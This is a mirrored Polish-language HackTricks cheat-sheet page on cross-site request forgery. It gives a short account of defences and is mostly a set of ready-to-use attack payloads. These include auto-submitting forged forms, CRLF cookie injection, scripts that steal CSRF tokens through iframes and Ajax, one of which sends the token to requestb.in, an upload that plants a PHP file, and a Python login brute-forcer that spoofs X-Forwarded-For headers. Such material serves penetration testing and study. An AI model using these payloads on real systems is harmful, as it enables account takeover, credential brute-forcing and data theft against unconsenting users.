mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
613 lines
27 KiB
Markdown
613 lines
27 KiB
Markdown
# CSRF (Cross Site Request Forgery)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||
|
||
**Spojrzenie na Hacking**\
|
||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||
|
||
**Aktualności Hackingu na Żywo**\
|
||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spojrzeniom na żywo
|
||
|
||
**Najnowsze Ogłoszenia**\
|
||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||
|
||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||
|
||
## Wyjaśnienie Cross-Site Request Forgery (CSRF)
|
||
|
||
**Cross-Site Request Forgery (CSRF)** to rodzaj podatności na bezpieczeństwo występującej w aplikacjach internetowych. Umożliwia atakującym wykonywanie działań w imieniu nieświadomych użytkowników poprzez wykorzystanie ich uwierzytelnionych sesji. Atak jest wykonywany, gdy użytkownik zalogowany na platformie ofiary odwiedza złośliwą witrynę. Następnie ta witryna wywołuje żądania do konta ofiary za pomocą metod takich jak wykonanie JavaScript, przesłanie formularzy lub pobranie obrazów.
|
||
|
||
### Wymagania wstępne dla ataku CSRF
|
||
|
||
Aby wykorzystać podatność CSRF, należy spełnić kilka warunków:
|
||
|
||
1. **Zidentyfikuj cenną akcję**: Atakujący musi znaleźć akcję warta wykorzystania, taką jak zmiana hasła użytkownika, adresu e-mail lub podniesienie uprawnień.
|
||
2. **Zarządzanie sesją**: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą plików cookie lub nagłówka uwierzytelniania podstawowego HTTP, ponieważ inne nagłówki nie mogą być manipulowane w tym celu.
|
||
3. **Brak nieprzewidywalnych parametrów**: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, ponieważ mogą one uniemożliwić atak.
|
||
|
||
### Szybkie sprawdzenie
|
||
|
||
Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF oraz przetestować z przeglądarki, klikając na **Kopiuj jako fetch** i sprawdzając żądanie:
|
||
|
||
<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Obrona przed CSRF
|
||
|
||
Można wdrożyć kilka środków zaradczych, aby chronić się przed atakami CSRF:
|
||
|
||
* [**Pliki cookie SameSite**](hacking-with-cookies/#samesite): Ta atrybut zapobiega przesyłaniu plików cookie przez przeglądarkę wraz z żądaniami między witrynami. [Więcej o plikach cookie SameSite](hacking-with-cookies/#samesite).
|
||
* [**Współdzielenie zasobów między domenami**](cors-bypass.md): Polityka CORS witryny ofiary może wpłynąć na wykonalność ataku, zwłaszcza jeśli atak wymaga odczytu odpowiedzi z witryny ofiary. [Dowiedz się więcej o omijaniu CORS](cors-bypass.md).
|
||
* **Weryfikacja użytkownika**: Wymaganie podania hasła użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
|
||
* **Sprawdzanie nagłówków Referrer lub Origin**: Sprawdzanie tych nagłówków może pomóc w zapewnieniu, że żądania pochodzą od zaufanych źródeł. Jednak staranne tworzenie adresów URL może obejść źle zaimplementowane kontrole, takie jak:
|
||
* Użycie `http://mal.net?orig=http://example.com` (URL kończy się zaufanym adresem URL)
|
||
* Użycie `http://example.com.mal.net` (URL zaczyna się od zaufanego adresu URL)
|
||
* **Modyfikowanie nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu automatycznym atakom.
|
||
* **Tokeny CSRF**: Włączenie unikalnego tokenu CSRF w każdej sesji i wymaganie tego tokenu w kolejnych żądaniach może znacząco zmniejszyć ryzyko CSRF. Skuteczność tokenu można zwiększyć, wymuszając CORS.
|
||
|
||
Zrozumienie i wdrożenie tych obron jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
|
||
|
||
## Ominięcia obrony
|
||
|
||
### Od POST do GET
|
||
|
||
Być może formularz, który chcesz wykorzystać, jest przygotowany do wysłania **żądania POST z tokenem CSRF**, jednak należy **sprawdzić**, czy **GET** jest również **ważny** i czy podczas wysyłania żądania GET **token CSRF jest wciąż weryfikowany**.
|
||
|
||
### Brak tokenu
|
||
|
||
Aplikacje mogą wdrożyć mechanizm **weryfikacji tokenów**, gdy są obecne. Jednak pojawia się podatność, jeśli weryfikacja jest pomijana całkowicie, gdy token jest nieobecny. Atakujący mogą wykorzystać to, **usuwając parametr**, który przenosi token, a nie tylko jego wartość. Pozwala to im ominąć proces weryfikacji i skutecznie przeprowadzić atak typu Cross-Site Request Forgery (CSRF).
|
||
|
||
### Token CSRF nie jest powiązany z sesją użytkownika
|
||
|
||
Aplikacje **niepowiązujące tokenów CSRF z sesjami użytkowników** stanowią znaczne **ryzyko bezpieczeństwa**. Te systemy weryfikują tokeny w oparciu o **globalny pulę**, zamiast zapewniać, że każdy token jest związany z sesją inicjującą.
|
||
|
||
Oto jak atakujący wykorzystują tę podatność:
|
||
|
||
1. **Uwierzytelniają się** za pomocą własnego konta.
|
||
2. **Uzyskują ważny token CSRF** z globalnej puli.
|
||
3. **Wykorzystują ten token** w ataku CSRF przeciwko ofierze.
|
||
|
||
Ta podatność pozwala atakującym na dokonywanie nieautoryzowanych żądań w imieniu ofiary, wykorzystując **niewystarczający mechanizm weryfikacji tokenów aplikacji**.
|
||
|
||
### Ominięcie metody
|
||
|
||
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy funkcjonalność **nadpisywania metody** działa. Na przykład, jeśli **używa metody PUT**, możesz spróbować **użyć metody POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||
|
||
To również może działać, wysyłając **parametr \_method wewnątrz żądania POST** lub używając **nagłówków**:
|
||
|
||
* _X-HTTP-Method_
|
||
* _X-HTTP-Method-Override_
|
||
* _X-Method-Override_
|
||
|
||
### Ominięcie niestandardowego tokenu nagłówka
|
||
|
||
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metoda ochrony CSRF**, wtedy:
|
||
|
||
* Przetestuj żądanie bez **Niestandardowego Tokenu oraz nagłówka.**
|
||
* Przetestuj żądanie z dokładnie **taką samą długością, ale innym tokenem**.
|
||
|
||
### Token CSRF jest weryfikowany za pomocą pliku cookie
|
||
|
||
Aplikacje mogą wdrożyć ochronę CSRF poprzez zduplikowanie tokenu zarówno w pliku cookie, jak i w parametrze żądania lub poprzez ustawienie pliku cookie CSRF i weryfikację, czy token wysłany w backendzie odpowiada wartości w pliku cookie. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w pliku cookie.
|
||
|
||
Jednak ta metoda jest podatna na ataki CSRF, jeśli strona internetowa ma wady pozwalające atakującemu na ustawienie pliku cookie CSRF w przeglądarce ofiary, takie jak podatność CRLF. Atakujący mogą wykorzystać to, ładując zwodniczy obraz, który ustawia plik cookie, a następnie rozpoczynając atak CSRF.
|
||
|
||
Poniżej znajduje się przykład, jak można zbudować atak:
|
||
```html
|
||
<html>
|
||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://example.com/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
||
</body>
|
||
</html>
|
||
|
||
```
|
||
{% hint style="info" %}
|
||
Zauważ, że jeśli **token csrf jest powiązany z ciasteczkiem sesji, ten atak nie zadziała**, ponieważ będziesz musiał ustawić ofierze swoją sesję, a więc będziesz atakować siebie.
|
||
{% endhint %}
|
||
|
||
### Zmiana typu zawartości
|
||
|
||
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), aby **uniknąć żądań wstępnych** przy użyciu metody **POST**, dozwolone są następujące wartości typu zawartości (Content-Type):
|
||
|
||
* **`application/x-www-form-urlencoded`**
|
||
* **`multipart/form-data`**
|
||
* **`text/plain`**
|
||
|
||
Jednak zauważ, że **logika serwera może się różnić** w zależności od użytego **typu zawartości**, dlatego powinieneś wypróbować wymienione wartości oraz inne, takie jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||
|
||
Przykład (z [tutaj](https://brycec.me/posts/corctf\_2021\_challenges)) wysyłania danych JSON jako text/plain:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
||
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
||
</form>
|
||
<script>
|
||
form.submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Ominięcie żądań wstępnych dla danych JSON
|
||
|
||
Podczas próby wysłania danych JSON za pomocą żądania POST, użycie `Content-Type: application/json` w formularzu HTML nie jest bezpośrednio możliwe. Podobnie, wykorzystanie `XMLHttpRequest` do wysłania tego typu treści inicjuje żądanie wstępne. Niemniej jednak istnieją strategie, aby potencjalnie ominąć to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
|
||
|
||
1. **Użyj alternatywnych typów zawartości**: Wykorzystaj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. Ten sposób testuje, czy serwer używa danych bez względu na Content-Type.
|
||
2. **Zmodyfikuj typ zawartości**: Aby uniknąć żądania wstępnego, jednocześnie zapewniając, że serwer rozpoznaje zawartość jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie powoduje żądania wstępnego, ale może być poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowania `application/json`.
|
||
3. **Wykorzystanie pliku SWF Flash**: Mniej popularna, ale możliwa metoda polega na użyciu pliku SWF flash do ominięcia takich ograniczeń. Aby uzyskać dogłębną wiedzę na temat tej techniki, zajrzyj do [tego wpisu](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||
|
||
### Ominięcie sprawdzania Referrer / Origin
|
||
|
||
**Unikaj nagłówka Referrer**
|
||
|
||
Aplikacje mogą sprawdzać nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby uniemożliwić przeglądarce wysłanie tego nagłówka, można użyć następującego tagu meta HTML:
|
||
```xml
|
||
<meta name="referrer" content="never">
|
||
```
|
||
To zapewnia, że nagłówek „Referer” jest pominięty, co potencjalnie omija kontrole walidacji w niektórych aplikacjach.
|
||
|
||
**Ominięcia wyrażeń regularnych**
|
||
|
||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
Aby ustawić nazwę domeny serwera w adresie URL, który zostanie wysłany przez Referrera wewnątrz parametrów, można użyć:
|
||
```html
|
||
<html>
|
||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||
<head><meta name="referrer" content="unsafe-url"></head>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
// You need to set this or the domain won't appear in the query of the referer header
|
||
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Bypass metody HEAD**
|
||
|
||
Pierwsza część [**tego opisu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że [kod źródłowy Oak'a](https://github.com/oakserver/oak/blob/main/router.ts#L281), router jest ustawiony do **obsługi żądań HEAD jako żądań GET** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oak. Zamiast konkretnego obsługującego żądania HEAD, są one po prostu **przekazywane do obsługującego GET, ale aplikacja po prostu usuwa ciało odpowiedzi**.
|
||
|
||
Dlatego, jeśli żądanie GET jest ograniczone, można po prostu **wysłać żądanie HEAD, które zostanie przetworzone jako żądanie GET**.
|
||
|
||
## **Przykłady Wykorzystania**
|
||
|
||
### **Wyciekanie tokena CSRF**
|
||
|
||
Jeśli **token CSRF** jest używany jako **obrona**, można spróbować go **wyciec** wykorzystując podatność [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) lub podatność [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||
|
||
### **GET za pomocą tagów HTML**
|
||
```xml
|
||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||
<h1>404 - Page not found</h1>
|
||
The URL you are requesting is no longer available
|
||
```
|
||
Inne tagi HTML5, które mogą być użyte do automatycznego wysłania żądania GET to:
|
||
```html
|
||
<iframe src="..."></iframe>
|
||
<script src="..."></script>
|
||
<img src="..." alt="">
|
||
<embed src="...">
|
||
<audio src="...">
|
||
<video src="...">
|
||
<source src="..." type="...">
|
||
<video poster="...">
|
||
<link rel="stylesheet" href="...">
|
||
<object data="...">
|
||
<body background="...">
|
||
<div style="background: url('...');"></div>
|
||
<style>
|
||
body { background: url('...'); }
|
||
</style>
|
||
<bgsound src="...">
|
||
<track src="..." kind="subtitles">
|
||
<input type="image" src="..." alt="Submit Button">
|
||
```
|
||
### Żądanie GET formularza
|
||
```html
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="GET" action="https://victim.net/email/change-email">
|
||
<input type="hidden" name="email" value="some@email.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Żądanie POST formularza
|
||
```html
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
||
<input type="submit" value="Submit request" />
|
||
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit(); //Way 3 to autosubmit
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Wysyłanie żądania POST formularzem za pomocą elementu iframe
|
||
```html
|
||
<!--
|
||
The request is sent through the iframe withuot reloading the page
|
||
-->
|
||
<html>
|
||
<body>
|
||
<iframe style="display:none" name="csrfframe"></iframe>
|
||
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Żądanie POST Ajax**
|
||
```html
|
||
<script>
|
||
var xh;
|
||
if (window.XMLHttpRequest)
|
||
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
||
xh=new XMLHttpRequest();
|
||
}
|
||
else
|
||
{// code for IE6, IE5
|
||
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
||
}
|
||
xh.withCredentials = true;
|
||
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
||
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
||
xh.send("username=abcd&status=on");
|
||
</script>
|
||
|
||
<script>
|
||
//JQuery version
|
||
$.ajax({
|
||
type: "POST",
|
||
url: "https://google.com",
|
||
data: "param=value¶m2=value2"
|
||
})
|
||
</script>
|
||
```
|
||
### żądanie POST z użyciem multipart/form-data
|
||
```javascript
|
||
myFormData = new FormData();
|
||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||
myFormData.append("newAttachment", blob, "pwned.php");
|
||
fetch("http://example/some/path", {
|
||
method: "post",
|
||
body: myFormData,
|
||
credentials: "include",
|
||
headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
||
mode: "no-cors"
|
||
});
|
||
```
|
||
### żądanie POST multipart/form-data v2
|
||
```javascript
|
||
// https://www.exploit-db.com/exploits/20009
|
||
var fileSize = fileData.length,
|
||
boundary = "OWNEDBYOFFSEC",
|
||
xhr = new XMLHttpRequest();
|
||
xhr.withCredentials = true;
|
||
xhr.open("POST", url, true);
|
||
// MIME POST request.
|
||
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
||
xhr.setRequestHeader("Content-Length", fileSize);
|
||
var body = "--" + boundary + "\r\n";
|
||
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
||
body += "Content-Type: " + ctype + "\r\n\r\n";
|
||
body += fileData + "\r\n";
|
||
body += "--" + boundary + "--";
|
||
|
||
//xhr.send(body);
|
||
xhr.sendAsBinary(body);
|
||
```
|
||
### Wysyłanie żądania POST formularza z poziomu ramki (iframe)
|
||
```html
|
||
<--! expl.html -->
|
||
|
||
<body onload="envia()">
|
||
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
||
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
||
</form>
|
||
<body>
|
||
<script>
|
||
function envia(){document.getElementById("formulario").submit();}
|
||
</script>
|
||
|
||
<!-- public.html -->
|
||
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
||
</iframe>
|
||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||
```
|
||
### **Ukradnij token CSRF i wyślij żądanie POST**
|
||
```javascript
|
||
function submitFormWithTokenJS(token) {
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", POST_URL, true);
|
||
xhr.withCredentials = true;
|
||
|
||
// Send the proper header information along with the request
|
||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||
|
||
// This is for debugging and can be removed
|
||
xhr.onreadystatechange = function() {
|
||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
//console.log(xhr.responseText);
|
||
}
|
||
}
|
||
|
||
xhr.send("token=" + token + "&otherparama=heyyyy");
|
||
}
|
||
|
||
function getTokenJS() {
|
||
var xhr = new XMLHttpRequest();
|
||
// This tels it to return it as a HTML document
|
||
xhr.responseType = "document";
|
||
xhr.withCredentials = true;
|
||
// true on the end of here makes the call asynchronous
|
||
xhr.open("GET", GET_URL, true);
|
||
xhr.onload = function (e) {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
// Get the document from the response
|
||
page = xhr.response
|
||
// Get the input element
|
||
input = page.getElementById("token");
|
||
// Show the token
|
||
//console.log("The token is: " + input.value);
|
||
// Use the token to submit the form
|
||
submitFormWithTokenJS(input.value);
|
||
}
|
||
};
|
||
// Make the request
|
||
xhr.send(null);
|
||
}
|
||
|
||
var GET_URL="http://google.com?param=VALUE"
|
||
var POST_URL="http://google.com?param=VALUE"
|
||
getTokenJS();
|
||
```
|
||
### **Ukradnij token CSRF i wyślij żądanie POST za pomocą ramki iframe, formularza i Ajax**
|
||
```html
|
||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="AA">
|
||
<input type="checkbox" name="status" checked="checked">
|
||
<input id="token" type="hidden" name="token" value="" />
|
||
</form>
|
||
|
||
<script type="text/javascript">
|
||
function f1(){
|
||
x1=document.getElementById("i1");
|
||
x1d=(x1.contentWindow||x1.contentDocument);
|
||
t=x1d.document.getElementById("token").value;
|
||
|
||
document.getElementById("token").value=t;
|
||
document.getElementById("form1").submit();
|
||
}
|
||
</script>
|
||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||
```
|
||
### **Ukradnij token CSRF i wyślij żądanie POST za pomocą ramki (iframe) i formularza**
|
||
```html
|
||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||
|
||
<script>
|
||
function read()
|
||
{
|
||
var name = 'admin2';
|
||
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
||
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
||
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
||
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
||
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
||
document.writeln('</form>');
|
||
document.forms[0].submit.click();
|
||
}
|
||
</script>
|
||
```
|
||
### **Ukradnij token i wyślij go za pomocą 2 ramek**
|
||
```html
|
||
<script>
|
||
var token;
|
||
function readframe1(){
|
||
token = frame1.document.getElementById("profile").token.value;
|
||
document.getElementById("bypass").token.value = token
|
||
loadframe2();
|
||
}
|
||
function loadframe2(){
|
||
var test = document.getElementbyId("frame2");
|
||
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
||
}
|
||
</script>
|
||
|
||
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
|
||
<iframe id="frame2" name="frame2"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
<body onload="document.forms[0].submit()">
|
||
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="z">
|
||
<input type="checkbox" name="status" checked="">
|
||
<input id="token" type="hidden" name="token" value="0000" />
|
||
<button type="submit">Submit</button>
|
||
</form>
|
||
```
|
||
### **POBIERANIE TOKENA CSRF za pomocą Ajaxa i wysłanie żądania POST za pomocą formularza**
|
||
```html
|
||
<body onload="getData()">
|
||
|
||
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
||
<input type="hidden" name="username" value="root"/>
|
||
<input type="hidden" name="status" value="on"/>
|
||
<input type="hidden" id="findtoken" name="token" value=""/>
|
||
<input type="submit" value="valider"/>
|
||
</form>
|
||
|
||
<script>
|
||
var x = new XMLHttpRequest();
|
||
function getData() {
|
||
x.withCredentials = true;
|
||
x.open("GET","http://google.com?param=VALUE",true);
|
||
x.send(null);
|
||
}
|
||
x.onreadystatechange = function() {
|
||
if (x.readyState == XMLHttpRequest.DONE) {
|
||
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
||
document.getElementById("findtoken").value = token;
|
||
document.getElementById("form").submit();
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
### CSRF z Socket.IO
|
||
```html
|
||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||
<script>
|
||
let socket = io('http://six.jh2i.com:50022/test');
|
||
|
||
const username = 'admin'
|
||
|
||
socket.on('connect', () => {
|
||
console.log('connected!');
|
||
socket.emit('join', {
|
||
room: username
|
||
});
|
||
socket.emit('my_room_event', {
|
||
data: '!flag',
|
||
room: username
|
||
})
|
||
|
||
});
|
||
</script>
|
||
```
|
||
## Atak Brute Force na Logowanie CSRF
|
||
|
||
Kod może być użyty do przeprowadzenia ataku Brut Force na formularz logowania przy użyciu tokena CSRF (Wykorzystuje również nagłówek X-Forwarded-For w celu próby obejścia ewentualnego czarnego listowania adresów IP):
|
||
```python
|
||
import request
|
||
import re
|
||
import random
|
||
|
||
URL = "http://10.10.10.191/admin/"
|
||
PROXY = { "http": "127.0.0.1:8080"}
|
||
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
||
USER = "fergus"
|
||
PASS_LIST="./words"
|
||
|
||
def init_session():
|
||
#Return CSRF + Session (cookie)
|
||
r = requests.get(URL)
|
||
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
||
csrf = csrf.group(1)
|
||
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
||
return csrf, session_cookie
|
||
|
||
def login(user, password):
|
||
print(f"{user}:{password}")
|
||
csrf, cookie = init_session()
|
||
cookies = {SESSION_COOKIE_NAME: cookie}
|
||
data = {
|
||
"tokenCSRF": csrf,
|
||
"username": user,
|
||
"password": password,
|
||
"save": ""
|
||
}
|
||
headers = {
|
||
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
||
}
|
||
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
||
if "Username or password incorrect" in r.text:
|
||
return False
|
||
else:
|
||
print(f"FOUND {user} : {password}")
|
||
return True
|
||
|
||
with open(PASS_LIST, "r") as f:
|
||
for line in f:
|
||
login(USER, line.strip())
|
||
```
|
||
## Narzędzia <a href="#tools" id="tools"></a>
|
||
|
||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||
|
||
## Odnośniki
|
||
|
||
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||
|
||
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||
|
||
**Spojrzenie na Hacking**\
|
||
Zanurz się w treściach, które zgłębiają emocje i wyzwania związane z hakerstwem
|
||
|
||
**Aktualności z Hackingu na Żywo**\
|
||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom na żywo
|
||
|
||
**Najnowsze Ogłoszenia**\
|
||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||
|
||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||
|
||
</details>
|